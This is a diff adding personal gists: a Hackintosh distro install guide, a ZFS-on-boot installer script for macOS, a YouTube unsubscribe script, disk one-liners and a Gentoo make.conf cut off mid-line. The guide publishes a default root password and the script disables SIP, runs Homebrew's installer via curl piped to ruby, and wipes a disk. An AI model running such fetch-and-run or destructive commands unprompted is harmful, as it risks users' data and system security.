video instructions to restore the image with Mac OS X + + + +> Read also... [Installing Hackintosh Yosemite in Unsupported INtel Processors and Most AMD Processors](http://www.hackintosh.computer/?p=37) + +If you’re using Windows currently then you can use TransMac to Restore, (which is included in the Niresh’s Yosemite Download Page) +Please view the video instructions to restore the image using TransMac + +Setting up BIOS is very important to use hackintosh, without proper Bios settings your computer will not boot Mac OS X \ +Read the article Hackintosh BIOS Configuration to setup your BIOS + +Now Boot from the Pen drive +Chameleon Boot-loader will be loaded +```text +AMD, Haswell and HP Laptop users may have to use custom kernel in order to make the system boot & work properly +AMD Users : /amd + : /amd1 + : /amd2 + : /amd64 + : /amd32 (it is actually a 64 bit kernel) + : /amdfx (can also boot non FX Processors) +4th Generation Processors / Haswell Users : /haswell (This also fix the Instant Reboot) +``` +```text +LGA2011 CPU / X99 Chipset : /x99 or /x99x [ try to add cpus=1 boot-flag too ] +HP Laptops with Intel Processors : /hp or /hp1 +``` +To use a custom kernel you just have to type the correct kernel name listed in above example to Boot with AMD kernel +```text +just type : /amd +``` +then press the Enter key Now boot From the Volume Yosemite-Zone + +Now boot From the Volume Yosemite-Zone +There is a possibility of Instant reboot for custom kernel users as the kernel may not install automatically but 99% of users doesn’t need this step and safely ignore this +to fix it after Installation Do Not Reboot Open Terminal +I assume that the kernel you used as haswell and The Installation Volume where you installed Mac as “Mac OS” +(Replace following code variables with appropriate kernel and volume name) +```bash +cp -f /Volumes/"Image Volume"/haswell /Volumes/"Mac OS"/System/Library/Kernels/kernel +rm -rf /Volumes/"Mac OS"/System/Library/Caches +kextcache -u /Volumes/"Mac OS" +``` +Then reboot + +Sometimes if the USB flash light stopped after a few seconds you may have to use the following BootFlags +```text +USBBusFix=Yes Enable the EHCI and UHCI fixes (disabled by default). +EHCIacquire=Yes Enable the EHCI fix (disabled by default). +UHCIreset=Yes Enable the UHCI fix (disabled by default). +USBLegacyOff=Yes Force USB Legacy off (disabled by default). +``` +If it stops in a line where is says PCI Configuration Begins +```text +try either one of the following BootFlags +npci=0x3000 +npci=0x2000 +Gigabyte MotherBoard users should use PCIRootUID=1 & it may solve "PCI Configuration Begins" in some cases +``` +Sometimes booting with -x (Safe Mode may fix graphics glitching issues) +If your mother contains one of the following CPU Sockets use the appropriate BootFlags +```text +LGA 2011: -v cpus=1 npci=0×2000 (or use) -v cpus=2 npci=0×2000 +LGA 1366: -v cpus=1 npci=0×2000 (or use) -v cpus=2 npci=0×2000 +LGA 1150: -v npci=0×2000 +LGA 1155: -v npci=0×2000 +``` +When you are at the OS X Installation Screen +Select your language +Open Disk Utility +> Read also... [Fix DSMOS has arrived and waiting for DSMOS Hackintosh](http://www.hackintosh.computer/?p=52) + +![Disk-Utility.jpg](http://www.hackintosh.computer/wp-content/uploads/2015/09/Disk-Utility.jpg) + +Select the Volume where you want to Install OS X from Left SideBar +Erase it as “Mac OS X Extender (Journaled)” – Journaled is Better (Erasing is similar to Format in Windows) + +![Erase-Disk](http://www.hackintosh.computer/wp-content/uploads/2015/09/Erase-Disk.jpg) + +Customizing the Installation Packages +Customizing may be required to resolve errors +If you have booted with any special flags example like USBBusFix=Yes, npci=0x2000, …. +then select the relevant package for it or else you have to use the same boot flag after the Installation + +![Customize-Niresh](http://www.hackintosh.computer/wp-content/uploads/2015/09/Customize-OS-Niresh.jpg) + +Chameleon will be installed as default boot loader but you can choose Clover if you can manage it or you can give it a try \ +Clover UEFI is not recommended in this release because it cause some issues in many computers +Network and Audio Kexts (Kexts are drivers) will be auto installed +Graphics may become a problem if your Graphics card or Graphics chipset is not supported +you may end in Black / Grey Screen or Monitor Turn Off Issue to resolve it ReInstall Yosemite with all the Backup Graphics +Extensions package selected (If you want to resolve it without a reinstallation you can use the “grafix” solution found in this article click Here) + +Most of the Chipset kexts are installed to ensure it boots in every system without trouble +FakeSMC is the most Required kext for Hackintosh Do not unselect it +After Customizing Click OK and Select Continue to Install +After the Installation The System will Reboot +If you run into any Installation Error Save the Installer Log to a Some Pen drive and Create a new topic in the forum (It is very important to attach the Installer Log) + +> Read also... [How to Fix Still Waiting for Root Device in Hackintosh] + +After the Installation There are chances you may run into a few issues +Black / Grey Screen, Monitor Turn Off Issues & Missing Bluetooth Controller Transport +To fix reinstall with all the Backup Graphics Extensions Packages Selected or take a look at + +[Fix Grey/Black/White Screen Hackintosh](http://www.hackintosh.computer/?p=64) +[FakeSMC: [Fatal] failed to initialize SMC device Error](http://www.hackintosh.computer/?p=48) +[DSMOS has arrived / waiting for DSMOS](http://www.hackintosh.computer/?p=52) +[Still waiting for root device +(http://www.hackintosh.computer/?p=59) + +PCI Configuration Begin: to fix it you may have to boot with the following Boot Flags +```text +npci=0x3000 +npci=0x2000 +``` +(In my personal experience i was stuck in PCI Configuration Begin with the boot-arg npci=0x2000 but give it a try) +Errors (Kernel Panic) related to VooDoo HDA / AppleHDA \ +ReInstall & In the Customize section Unselect Auto Install Audio Kexts +Errors (Kernel Panic) related to AppleIntelE1000, AppleBCM, ALXEthernet, Brcm, Attansic and Realtek ethernet & Wifi +ReInstall & In the Customize section Unselect Auto Install Network Kexts +```text +PS/2 Keyboard Mouse Not Working + Boot with Kernel Flag -f +``` +In some rare cases you may loop in user account creation menu or suddenly you will be asked for username and password +It is a program that runs after 10 minutes automatically to check if you have created the user account successfully +if it detects you have created an account it will Exit but if you haven’t created an account with in 10 min or if you are stuck in account creation loop, Keyboard not found problem just wait 10 minutes +After that a windows will ask username and password +```text +Username: root +Password: niresh +``` +Enter these value Login create an administrator account and use the created administrator account for your daily needs using OS X as root is dangerous +Note that the password will be changed to niresh only if you don’t create the account with in the 10 minutes from boot +otherwise the password remains as same as the one which apple set for root account + +About the rumors: +Some may say Distros are bad may contain malware, spyware that may be true +but Hackintosh.Zone previously called Niresh has been trusted for 4 years by the community of more than 160K Members +If you want to check if it contains some bad malware you can just check it by Installing Little Snitch and Monitor your Internet Traffic +This distro contains some additional kexts which you may not require and some may say that why install unnecessary kexts & stuffs +those additional stuffs be inactive if your system doesn’t have the hardware but what if your mother board gone damaged and replaced with a new model, you can just simply plug the hard disk and run the OS X as same as before without Reinstalling and setting up entire computer once again +The Time of Installing Mac with a Retail DvD Image is gone, This is your Easy choice +if you trust me Im always with you +I have spent a lot of sleepless nights while making this Installer +If this Installer helped you please consider a contribution to support further developments and maintaining Hackintosh Zone website (The current dedicated server cost 100$/month) +by donating with PayPal with USD or GDB + + +> Written with [StackEdit](https://stackedit.io/). +``` + + diff --git a/content/gists/b76c13feb514468c2fd0751fe8c211fd.md b/content/gists/b76c13feb514468c2fd0751fe8c211fd.md new file mode 100644 index 000000000..bd3d499c8 --- /dev/null +++ b/content/gists/b76c13feb514468c2fd0751fe8c211fd.md @@ -0,0 +1,19 @@ +--- +title: "b76c13feb514468c2fd0751fe8c211fd" +type: gist +gist_id: "b76c13feb514468c2fd0751fe8c211fd" +gist_name: "WDMCH" +gist_url: https://gist.github.com/dominicusin/b76c13feb514468c2fd0751fe8c211fd +updated_at: "2023-08-22T19:36:22Z" +files: ["WDMCH"] +--- +## WDMCH + +``` +mount /dev/sda21 -t btrfs -o subvol=sys/sublin/alpine /mnt/alpine/ +/bin/systemctl --no-block --force switch-root /mnt/alpine /sbin/init + + +``` + + diff --git a/content/gists/bb91fc051d96cb5d7582eaedead01c3b.md b/content/gists/bb91fc051d96cb5d7582eaedead01c3b.md new file mode 100644 index 000000000..97cf3ebf2 --- /dev/null +++ b/content/gists/bb91fc051d96cb5d7582eaedead01c3b.md @@ -0,0 +1,304 @@ +--- +title: "OpenZFS on OS X on boot installer script" +type: gist +gist_id: "bb91fc051d96cb5d7582eaedead01c3b" +gist_name: "OpenZFS on OS X on boot installer script zfsonosxonboot.sh" +gist_url: https://gist.github.com/dominicusin/bb91fc051d96cb5d7582eaedead01c3b +updated_at: "2022-06-08T00:06:08Z" +files: ["zfsonosxonboot.sh"] +--- +_OpenZFS on OS X on boot installer script_ + +## zfsonosxonboot.sh + +```Shell +#!/usr/bin/env bash +# OpenZFS on OS X on boot installer script +# Based on instructions from https://openzfsonosx.org/w/index.php?title=ZFS_on_Boot&oldid=1509 + +NEWDISK=/dev/null +NEWPOOL=rpool +autoconfirm="n" +for i in "$@" +do +case $i in + -d=*|--disk=*) + NEWDISK="${i#*=}" + shift # past argument=value + ;; + -p=*|--pool=*) + NEWPOOL="${i#*=}" + shift # past argument=value + ;; + -y|--yes) + autoconfirm="y" + shift # past argument + ;; + *) + # unknown option + echo $0: Error: unknown option: $i + exit 1 + ;; +esac +done + + +## check osx version and select marketing name +echo -n "checking for mac OS version ... " +osx_names=( +["10"]="Yosemite" +["11"]="ElCapitan" +["12"]="Sierra" +["13"]="HighSierra" +["14"]="Mojave" +["15"]="Catalina" +) +osx_version=$(sw_vers -productVersion) +osx_minorversion=$(echo "${osx_version}"| awk -F '[.]' '{print $2}') +OSX_NAME="${osx_names[$osx_minorversion]}" +[ -n "${OSX_NAME}" ] && { + echo "ok: mac OS version is ${OSX_NAME} (${osx_version})" +} || { + echo "fail: unable to determine name of mac OS version ${osx_version}" + exit 1 +} + +## check for SIP status +echo -n "checking for SIP status ... " +sip_status=$(csrutil status | grep -o -E "disabled|enabled") +[ "${sip_status}" == "disabled" ] && { + echo "ok: SIP status is ${sip_status}" +} || { + echo "fail: SIP status is ${sip_status}" + cat <<- EOF + Blessing the boot device will probably fail because System Integrity Protection is ${sip_status} + To disable it + - Reboot while holding [CMD]+[R] + - Open Utilities > Terminal + - Enter the following command(s) + csrutil disable + reboot +EOF + while true; do + read -p "Do you wish continue? [Y/N]:" yn + case $yn in + [Yy]* ) break;; + [Nn]* ) exit;; + * ) echo "Please answer yes or no.";; + esac + done +} + + +## check for diskutil installation +echo -n "checking for diskutil ... " +diskutil="$(which diskutil)" +[ -x "${diskutil}" ] && echo "ok: diskutil is at ${diskutil} " || { + echo "fail: unable to determine path of diskutil" + exit 1 +} + +## check for rsync installation +echo -n "checking for rsync ... " +rsync="$(which rsync)" +[ -x "${rsync}" ] && echo "ok: rsync is at ${rsync} " || { + echo "fail: unable to determine path of rsync" + exit 1 +} + +## check that user can sudo +echo "checking user can sudo ... " +sudo -v && echo "ok" || { + echo "fail" + echo "You need to be able to sudo, please check your password and permission" + exit 1 +} + +## check for homebrew installation +echo -n "checking for homebrew ... " +brew="$(which brew)" +[ -x "${brew}" ] && echo "ok: homebrew is at ${brew} " || { + echo "fail" + echo "installing homebrew" + /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" + ### check again + echo -n "checking for homebrew ... " + brew="$(which brew)" + [ -x "${brew}" ] && echo "ok: homebrew is at ${brew} " || { + echo "fail: unable to install homebrew" + } +} + +## check for zfs installation +echo -n "checking for openzfs ... " +zfs="$(which zfs)" +zpool="$(which zpool)" +mount_zfs="$(which mount_zfs)" +[ -x "${zfs}" -a -x "${zpool}" ] && echo "ok: zfs is at ${zfs} zpool is at ${zpool} mount_zfs is at ${mount_zfs}" || { + echo "fail" + echo "installing openzfs" + ${brew} cask install openzfs + ### check again + echo -n "checking for openzfs ... " + zfs="$(which zfs)" + zpool="$(which zpool)" + mount_zfs="$(which mount_zfs)" + [ -x "${zfs}" -a -x "${zpool}" ] && echo "ok: zfs is at ${zfs} zpool is at ${zpool} mount_zfs is at ${mount_zfs}" || { + echo "fail: unable to install openzfs" + exit 1 + } +} + +## Prompt the user to select one of the devices +if [ "${NEWDISK}" == "/dev/null" ]; then + IFS=$'\n' read -d '' -ra devices < <(diskutil list | grep -E "/dev|0:" | xargs -L2 echo) + echo "Please select a device:" + select device in "${devices[@]}"; do + [[ -n $device ]] || { echo "Invalid choice. Please try again." >&2; continue; } + break # valid choice was made; exit prompt + done + read -r NEWDISK description <<<"${device}" +fi + +## generate script +SCRIPT="$(cat <<- EOF +sudo ${diskutil} partitionDisk ${NEWDISK} GPT ZFS ${NEWPOOL} 0b || true +sudo ${zpool} create -R /mnt -f -o ashift=12 -O casesensitivity=insensitive -O normalization=formD -O atime=off -O compression=lz4 -O mountpoint=none -O canmount=off -o feature@spacemap_v2=disabled ${NEWPOOL} ${NEWDISK}s2 +sudo ${zfs} create -o mountpoint=none -o canmount=off ${NEWPOOL}/ROOT +sudo ${zfs} create -o mountpoint=legacy -o com.apple.mimic_hfs=on ${NEWPOOL}/ROOT/${OSX_NAME} +sudo ${zpool} set bootfs=${NEWPOOL}/ROOT/${OSX_NAME} ${NEWPOOL} +sudo ${zfs} create -o mountpoint=/Users -o canmount=off ${NEWPOOL}/HOME +sudo ${zfs} create ${NEWPOOL}/HOME/${USER} || true +sudo mkdir /Volumes/ZFSBoot +sudo ${mount_zfs} ${NEWPOOL}/ROOT/${OSX_NAME} /Volumes/ZFSBoot +sudo ${rsync} -axH --progress --exclude=".Spotlight-V100" --exclude=".fseventsd" --exclude=".vol" --exclude "var/folders/*" "/" "/Volumes/ZFSBoot/" +sudo cp -av /Volumes/ZFSBoot/Library/Preferences/SystemConfiguration/com.apple.Boot.plist /Volumes/ZFSBoot/Library/Preferences/SystemConfiguration/com.apple.Boot.plist~ +echo "" | sudo tee /Volumes/ZFSBoot/Library/Preferences/SystemConfiguration/com.apple.Boot.plist +echo " Kernel Flags" | sudo tee -a /Volumes/ZFSBoot/Library/Preferences/SystemConfiguration/com.apple.Boot.plist +echo " -v keepsyms=y zfs_boot=rpool" | sudo tee -a /Volumes/ZFSBoot/Library/Preferences/SystemConfiguration/com.apple.Boot.plist +echo " Root UUID" | sudo tee -a /Volumes/ZFSBoot/Library/Preferences/SystemConfiguration/com.apple.Boot.plist +echo " 5A465320-626F-6F74-2064-657669636500" | sudo tee -a /Volumes/ZFSBoot/Library/Preferences/SystemConfiguration/com.apple.Boot.plist +echo "" | sudo tee -a /Volumes/ZFSBoot/Library/Preferences/SystemConfiguration/com.apple.Boot.plist +sudo kextcache -c "/Volumes/ZFSBoot/System/Library/PrelinkedKernels/prelinkedkernel" -K "/Volumes/ZFSBoot/System/Library/Kernels/kernel" -l -- "/Volumes/ZFSBoot/System/Library/Extensions" "/Volumes/ZFSBoot/Library/Extensions/" +EOF +)" + +## check if running inside virtualbox +ioreg -l | grep -q "VirtualBox" && SCRIPT="$(cat <<- EOF +$SCRIPT +sudo newfs_hfs -J -v "boot" ${NEWDISK}s3 +sudo ${diskutil} mount ${NEWDISK}s3 +sudo mkdir -p /Volumes/boot/Library/Preferences/SystemConfiguration +sudo mkdir -p /Volumes/boot/System/Library/CoreServices/com.apple.recovery.boot +sudo rsync -a /Volumes/ZFSBoot/Library/Preferences/SystemConfiguration/autodiskmount.plist /Volumes/boot/Library/Preferences/SystemConfiguration/autodiskmount.plist +sudo rsync -a /Volumes/ZFSBoot/Library/Preferences/SystemConfiguration/com.apple.Boot.plist /Volumes/boot/Library/Preferences/SystemConfiguration/com.apple.Boot.plist +sudo rsync -a /Volumes/ZFSBoot/System/Library/CoreServices/PlatformSupport.plist /Volumes/boot/System/Library/CoreServices/PlatformSupport.plist +sudo rsync -a /Volumes/ZFSBoot/System/Library/CoreServices/SystemVersion.plist /Volumes/boot/System/Library/CoreServices/SystemVersion.plist +sudo rsync -a /Volumes/ZFSBoot/System/Library/CoreServices/boot.efi /Volumes/boot/System/Library/CoreServices/boot.efi +sudo rsync -a /Volumes/ZFSBoot/System/Library/CoreServices/bootbase.efi /Volumes/boot/System/Library/CoreServices/bootbase.efi +sudo rsync -a /Volumes/ZFSBoot/System/Library/CoreServices/com.apple.recovery.boot/PlatformSupport.plist /Volumes/boot/System/Library/CoreServices/com.apple.recovery.boot/PlatformSupport.plist +sudo rsync -a /Volumes/ZFSBoot/System/Library/PrelinkedKernels/prelinkedkernel /Volumes/boot/System/Library/PrelinkedKernels/prelinkedkernel +EOF +)" || SCRIPT="$(cat <<- EOF +$SCRIPT +sudo newfs_hfs -J -v "boot" ${NEWDISK}s3 +sudo ${diskutil} mount ${NEWDISK}s3 +sudo mkdir -p /Volumes/boot/System/Library/CoreServices +sudo mkdir -p /Volumes/boot/com.apple.boot.R/System/Library/PrelinkedKernels +sudo mkdir -p /Volumes/boot/com.apple.boot.R/Library/Preferences/SystemConfiguration +sudo mkdir -p /Volumes/boot/com.apple.boot.R/usr/standalone/i386 +sudo ${rsync} -a /Volumes/ZFSBoot/System/Library/CoreServices/PlatformSupport.plist /Volumes/boot/System/Library/CoreServices/PlatformSupport.plist +sudo ${rsync} -a /Volumes/ZFSBoot/System/Library/CoreServices/SystemVersion.plist /Volumes/boot/System/Library/CoreServices/SystemVersion.plist +sudo ${rsync} -a /Volumes/ZFSBoot/System/Library/PrelinkedKernels/prelinkedkernel /Volumes/boot/com.apple.boot.R/System/Library/PrelinkedKernels/prelinkedkernel +sudo ${rsync} -a /Volumes/ZFSBoot/Library/Preferences/SystemConfiguration/com.apple.Boot.plist /Volumes/boot/com.apple.boot.R/Library/Preferences/SystemConfiguration/com.apple.Boot.plist +sudo ${rsync} -a /Volumes/ZFSBoot/usr/standalone/i386/ /Volumes/boot/com.apple.boot.R/usr/standalone/i386/ +EOF +)" + +SCRIPT="$(cat <<- EOF +$SCRIPT +sudo bless --folder /Volumes/boot/System/Library/CoreServices --file /Volumes/boot/System/Library/CoreServices/boot.efi --bootefi /Volumes/ZFSBoot/System/Library/CoreServices/boot.efi --label "ZFS Boot" +sudo bless --device ${NEWDISK}s3 --setBoot || true +EOF +)" + +echo "*******************************************************" +echo "${SCRIPT}" +echo "*******************************************************" +echo "Please review the above generated script" +while true; do + read -p "Do you wish continue? [Y/N]:" yn + case $yn in + [Yy]* ) break;; + [Nn]* ) exit;; + * ) echo "Please answer yes or no.";; + esac +done + +echo "device: ${NEWDISK}" +diskutil list ${NEWDISK} + +## Doublecheck that user want to have device destroyed +echo "${NEWDISK} will be partitioned for ZFS" +echo "*******************************************************" +echo "**** WARNING: THIS WILL DESTROY ALL DATA ON DEVICE ****" +echo "*******************************************************" +while true; do + read -p "Do you wish continue? [Y/N]:" yn + case $yn in + [Yy]* ) break;; + [Nn]* ) exit;; + * ) echo "Please answer yes or no.";; + esac +done + +## Execute the script line by line +IFS=$'\n'; +for line in `echo "${SCRIPT}"` +do + echo "${line}" + if [ "${autoconfirm}" == "n" ]; + then + while true; do + read -p "Execute? [Y/N]:" yn + case $yn in + [Yy]* ) break;; + [Nn]* ) continue 2;; + * ) echo "Please answer yes or no.";; + esac + done + fi + eval "${line}" || { + exit_status=$? + while true; do + echo "${line}" + echo "Exit status: ${exit_status}" + read -p "Do you wish continue? [Y/N]:" yn + case $yn in + [Yy]* ) break;; + [Nn]* ) exit ${exit_status};; + * ) echo "Please answer yes or no.";; + esac + done + } +done + + +## check for SIP status +echo -n "checking for SIP status ... " +sip_status=$(csrutil status | grep -o -E "disabled|enabled") +[ "${sip_status}" == "enabled" ] && echo "ok: SIP status is ${sip_status}" || { + echo "fail: SIP status is ${sip_status}" + cat << EOF + System Integrity Protection is ${sip_status} + To enable it + - Reboot while holding [CMD]+[R] + - Open Utilities > Terminal + - Enter the following command(s) + csrutil enable + reboot +EOF +} +``` + + diff --git a/content/gists/bc11f740687bcde1b2578bd00b6fbb1a.md b/content/gists/bc11f740687bcde1b2578bd00b6fbb1a.md new file mode 100644 index 000000000..1fe80f88c --- /dev/null +++ b/content/gists/bc11f740687bcde1b2578bd00b6fbb1a.md @@ -0,0 +1,52 @@ +--- +title: "unsubscribe all youtube channels script v2" +type: gist +gist_id: "bc11f740687bcde1b2578bd00b6fbb1a" +gist_name: "unsubscribe all youtube channels script v2 unsubscrive-youtube-v2.js" +gist_url: https://gist.github.com/dominicusin/bc11f740687bcde1b2578bd00b6fbb1a +updated_at: "2022-03-30T17:08:29Z" +files: ["unsubscrive-youtube-v2.js"] +--- +_unsubscribe all youtube channels script v2_ + +## unsubscrive-youtube-v2.js + +```JavaScript +function youtubeUnsubscriber() { + var count = document.querySelectorAll("ytd-channel-renderer:not(.ytd-item-section-renderer)").length; + var randomDelay = 500; + + if(count == 0) return false; + + function unsubscribeVisible(randomDelay) { + + if (count == 0) { + window.scrollTo(0,document.body.scrollHeight); + setTimeout(function() { + youtubeUnsubscriber(); + }, 10000) + } + + unsubscribeButton = document.querySelector('.ytd-subscribe-button-renderer'); + unsubscribeButton.click(); + + setTimeout(function () { + document.getElementById("confirm-button").click() + count--; + console.log("Remaining: ", count); + + setTimeout(function () { + unsubscribedElement = document.querySelector("ytd-channel-renderer"); + unsubscribedElement.parentNode.removeChild(unsubscribedElement); + unsubscribeVisible(randomDelay) + }, randomDelay); + }, randomDelay); + } + + unsubscribeVisible(randomDelay); +} + +youtubeUnsubscriber(); +``` + + diff --git a/content/gists/c108d48c03aef7dc18fcbe7b1c19fb82.md b/content/gists/c108d48c03aef7dc18fcbe7b1c19fb82.md new file mode 100644 index 000000000..b882e5929 --- /dev/null +++ b/content/gists/c108d48c03aef7dc18fcbe7b1c19fb82.md @@ -0,0 +1,23 @@ +--- +title: "onelinecmd" +type: gist +gist_id: "c108d48c03aef7dc18fcbe7b1c19fb82" +gist_name: "onelinecmd gistfile1.txt" +gist_url: https://gist.github.com/dominicusin/c108d48c03aef7dc18fcbe7b1c19fb82 +updated_at: "2023-12-22T04:17:14Z" +files: ["gistfile1.txt"] +--- +_onelinecmd_ + +## gistfile1.txt + +```Text + +find /dev/disk/by-id/ -type l|xargs -I{} ls -l {}|grep -v -E '[0-9]$' |sort -k11|cut -d' ' -f9,10,11,12 + + lsblk |awk 'NR==1{print $0" DEVICE-ID(S)"}NR>1{dev=$1;printf $0" ";system("find /dev/disk/by-id -lname \"*"dev"\" -printf \" %p\"");print "";}'|grep -v -E 'part|lvm' + + +``` + + diff --git a/content/gists/c1e0b1421301393357f81556bd6d53ca.md b/content/gists/c1e0b1421301393357f81556bd6d53ca.md new file mode 100644 index 000000000..38053a9d1 --- /dev/null +++ b/content/gists/c1e0b1421301393357f81556bd6d53ca.md @@ -0,0 +1,69 @@ +--- +title: "gentoo_make" +type: gist +gist_id: "c1e0b1421301393357f81556bd6d53ca" +gist_name: "gentoo_make gentoo_make" +gist_url: https://gist.github.com/dominicusin/c1e0b1421301393357f81556bd6d53ca +updated_at: "2024-03-13T05:35:44Z" +files: ["gentoo_make"] +--- +_gentoo_make_ + +## gentoo_make + +``` +# +ABI_MIPS="n32 n64 o32" +ABI_PPC="32 64" +ABI_S390="32 64" +ABI_X86="32 64 x32" +ADA_TARGET="gnat_2019" +ALSA_CARDS="aica asihpi ca0132 cs46xx darla20 darla24 echo3g emu10k1 emu10k1x emu1212 emu1616 emu1820 gina20 gina24 hdspm hdsp ice1712 indigo indigoio korg1212 layla20 layla24 maestro3 mia mixart mona msnd-pinnacle pcxhr rme32 rme96 sb16 sbawe sscape usb-usx2y vx222 wavefront ymfpci" +APACHE2_MODULES="access_compat actions alias asis auth_basic auth_digest auth_form authn_alias authn_anon authn_core authn_dbd authn_dbm authn_default authn_file authn_socache authz_core authz_dbd authz_dbm authz_default authz_groupfile authz_host authz_owner authz_user autoindex brotli cache cache_disk cache_socache cern_meta cgi cgid charset_lite dav dav_fs dav_lock dbd deflate dir disk_cache dumpio env expires ext_filter file_cache filter headers http2 ident imagemap include info lbmethod_bybusyness lbmethod_byrequests lbmethod_bytraffic lbmethod_heartbeat log_config log_forensic logio macro md mem_cache mime mime_magic negotiation proxy proxy_ajp proxy_balancer proxy_connect proxy_fcgi proxy_ftp proxy_html proxy_http proxy_http2 proxy_scgi proxy_wstunnel ratelimit remoteip reqtimeout rewrite session session_crypto session_cookie session_dbd setenvif slotmem_shm socache_memcache socache_shmcb speling status substitute unique_id unixd userdir usertrack version vhost_alias watchdog xml2enc" +APACHE2_MPMS="itk" #event itk peruser prefork worker +CALLIGRA_FEATURES="karbon sheets stage words" +CAMERAS="adc65 agfa_cl20 aox ax203 barbie canon casio_qv clicksmart310 digigr8 digita dimagev dimera3500 directory enigma13 fuji gsmart300 hp215 iclick jamcam jd11 jl2005a jl2005c kodak_dc120 kodak_dc210 kodak_dc240 kodak_dc3200 kodak_ez200 konica konica_qm150 largan lg_gsm mars mustek panasonic_coolshot panasonic_dc1000 panasonic_dc1580 panasonic_l859 pccam300 pccam600 pentax polaroid_pdc320 polaroid_pdc640 polaroid_pdc700 ptp2 ricoh ricoh_g3 samsung sierra sipix_blink2 sipix_web2 smal sonix sony_dscf1 sony_dscf55 soundvision spca50x sq905 st2205 stv0674 stv0680 sx330z topfield toshiba_pdrm11 tp6801" +COLLECTD_PLUGINS="aggregation amqp apache apcups ascent battery bind buddyinfo capabilities ceph cgroups check_uptime chrony connectivity conntrack contextswitch cpu cpufreq cpusleep csv curl curl_json curl_xml dbi df disk dns drbd email entropy ethstat exec fhcount filecount fscache gmond gps gpu_nvidia hddtemp hugepages interface ipc ipmi iptables ipvs irq java load logfile logparser log_logstash lua lvm madwifi match_empty_counter match_hashed match_regex match_timediff match_value mbmon mcelog md memcachec memcached memory modbus mqtt multimeter mysql netlink network nfs nginx notify_desktop notify_email notify_nagios ntpd numa nut olsrd onewire openldap openvpn oracle ovs_events ovs_stats pcie_errors perl pingpostgresql powerdns procevent processes protocols python redis routeros rrdcached rrdtool sensors serial sigrok slurm smart snmp snmp_agent statsd swap synproxy sysevent syslog table tail tail_csv target_notification target_replace target_scale target_set tcpconns teamspeak2 ted thermal threshold turbostat unixsock uptime users ubi uuid varnish virt vmem vserver wireless write_graphite write_http write_influxdb_udp write_kafka write_log write_mongodb write_prometheus write_redis write_sensu write_stackdriver write_syslog write_tsdb xencpu zfs_arc zookeeper" +CPU_FLAGS_ARM="aes crc32 edsp iwmmxt iwmmxt2 neon sha1 sha2 thumb thumb2 v4 v5 v6 v7 v8 vfp vfpv3 vfpv4 vfp-d32" +CPU_FLAGS_PPC="altivec vsx vsx2 vsx3" +CPU_FLAGS_X86="aes avx avx2 avx512f avx512dq avx512cd avx512bw avx512vl f16c fma3 mmx mmxext pclmul popcnt rdrand sse sse2 sse3 sse4_1 sse4_2 ssse3" +CURL_SSL="libressl" #axtls gnutls libressl mbedtls nss openssl winssl +ELIBC="glibc" # AIX bionic Cygwin Darwin DragonFly FreeBSD glibc HPUX Interix mingw mintlib musl NetBSD OpenBSD SunOS uclibc Winnt +FFTOOLS="aviocat cws2fws ffescape ffeval ffhash fourcc2pixfmt graph2dot ismindex pktdumper qt-faststart sidxindex trasher" +GPSD_PROTOCOLS="aivdm ashtech earthmate evermore fury fv18 garmin garmintxt geostar gpsclock greis isync itrax mtk3301 navcom nmea0183 nmea2000 ntrip oceanserver oncore passthrough rtcm104v2 rtcm104v3 sirf skytraq superstar2 tnt tripmate tsip ublox" +GRUB_PLATFORMS="coreboot efi-32 efi-64 emu ieee1275 multiboot pc qemu xen xen-32 xen-pvh" #coreboot efi-32 efi-64 emu ieee1275 loongson multiboot pc qemu qemu-mips uboot xen xen-32 xen-pvh +INPUT_DEVICES="elographics evdev joystick libinput roccat_arvo roccat_isku roccat_iskufx roccat_kiro roccat_kone roccat_koneplus roccat_konepure roccat_konepuremilitary roccat_konepureoptical roccat_konextd roccat_konextdoptical roccat_kovaplus roccat_kova2016 roccat_lua roccat_nyth roccat_pyra roccat_savu roccat_ryosmk roccat_ryosmkfx roccat_ryostkl roccat_skeltr roccat_sova roccat_suora roccat_tyon synaptics vmmouse void wacom" +KERNEL="linux" #AIX Darwin FreeBSD freemint HPUX linux NetBSD OpenBSD SunOS Winnt +L10N="en en-AU en-CA en-GB en-NZ en-US en-ZA ru" #ach af am an ar as ast az be bea bg bn bn-BD bn-IN bla bo br brx bs ca ca-valencia cak ceb ch chr ckb cnr cop co cs cu cy da de de-1901 de-CH de-DE dgo doi dsb dv dz el en en-AU en-CA en-GB en-NZ en-US en-ZA eo es es-419 es-AR es-CL es-ES es-MX es-PE et eu fa ff fi fil fo fr fr-CA fy ga gd gez gl gn got grc gu gug gv he hi hr hsb ht hu hy ia id io is it iu ja jbo jv ka kab kek kk km kmr-Latn kn ko kok kpg ks ktu ku ky la lb lij ln lo lt lv mai mg mi mk ml mn mni mr ms mt my nan nb nd ne nl nn no nr nso oc om or pa pl pon pot ppk prs ps pt pt-BR pt-PT qu rm rmq ro ru rw sa sat sc sco sd si sid sk sl sml sn so son sq sr sr-Latn ss st su sv sw sw-TZ syc syr ta ta-LK tetg th ti tk tl tlh tn to tr ts tsg tt ug uk ur uz ve vi vls xh yi yo zh zh-CN zh-TW zu +LCD_DEVICES="acoolsdcm astusb ax206dpf bayrad beckmannegle bwct cfontz cfontzpacket crystalfontz curses cwlinux cwlnx d4d ddusbt directgfx displaylink dpf ea232graphic ea65 efn eyeboxone framebuffer futaba futabavfd fw8888 g15 glcd glcd2usb glcdlib glk goldelox hd44780 hd44780-i2c i2500vfd i2c icp_a106 imon imonlcd iowarrior irlcd irman irtrans joy jw002 ks0108 l4m lb216 lc7981 lcd2usb lcdm001 lcdterm lcterm ledmatrix lh155 linux_input lirc lis lph7508 luise lw_abp m50530 matrixorbital matrixorbitalgx md8800 mdm166a milfordinstruments ms6931 mtc_s16209x mtxorb mx5000 newhaven nokcol noritake noritakevfd null olimex_mod_lcd1x9 pcd8544 pertelian phanderson picgraphic picolcd picolcdgraphic picolcd_256x64 png ppm pyramid rawserial remote routerboard rs232 sample samsungspf sdeclcd sed1330 sed133x sed1520 sed153x sed156x serdisplib serialpos serialvfd shuttlevfd simplelcd sli ssdoled stv5730 stv8105 sureelec t6963 teaklcm text trefon tyan ula200 usbhub usblcd vlsys_m428 vnc wincornixdorf x11 xosd yard2lcd" +LIBREOFFICE_EXTENSIONS="nlpsolver scripting-beanshell scripting-javascript wiki-publisher" +LLVM_TARGETS="AMDGPU BPF NVPTX X86 AArch64 ARC ARM AVR Hexagon Lanai MSP430 Mips PowerPC RISCV Sparc SystemZ 